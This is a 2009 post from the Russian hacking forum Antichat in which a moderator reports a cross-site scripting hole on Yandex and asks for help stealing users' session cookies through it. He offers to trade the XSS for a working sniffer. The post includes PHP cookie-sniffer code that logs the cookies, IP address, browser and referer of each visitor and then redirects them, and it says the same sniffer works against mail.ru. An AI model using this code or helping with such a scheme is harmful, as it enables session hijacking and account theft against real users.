ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
Перезагрузить страницу Активная xss на Яндекс
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

Активная xss на Яндекс
  #1  
Старый 26.09.2009, 21:41
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию Активная xss на Яндекс
нашел полуактивную xss на яндекс. Пытаюсь подставить сниффер, не получается, вернее при запросе (document.cookie) все кукисы выдаются, а при замене запроса на сниффер, кукисы на сниффер не приходят.

Готов поделиться xss с тем, кто подскажет работающий сниффер для яндекса (поделюсь xss после проверки снифа), использовал стандартный от Kaniq и этот сниф, но кукисы не пришли

PHP код:
<?PHP  
$Cookies = UrlDecode(getenv("QUERY_STRING"));  
$Date = date("d-m-y H:i:s", time());  
$browser = getenv("HTTP_USER_AGENT");  
$ref = getenv("HTTP_REFERER");      
$ip = getenv("REMOTE_ADDR");  
$text = " 
$Cookies:  
$Date:  
$browser:  
$ref:  
$ip:  
$query";  

$filelog = fopen("base.php","a+");  
fwrite($filelog,"\n $text \n"); 
fclose($filelog);  
header('Location: http://somesite.ru');     
?>
На майле сниффер работает, на яндексе не работает.

Подсказка сниффера тут, помощь в реализации в аську.
Последний раз редактировалось satana-fu; 28.09.2009 в 15:42..
 
Ответить с цитированием
 



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Продам] Яндекс. Активная XSS. brain[pillow] Разное - Покупка, продажа, обмен 3 08.02.2010 21:42
Яндекс vs Google: Дaвид против Голиaфa bender123 Мировые новости 14 27.06.2009 15:20
Активная XSS на mail.ru Dronga E-Mail 69 05.04.2008 01:56
Xss для новичков Micr0b Уязвимости 0 04.06.2006 18:25
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ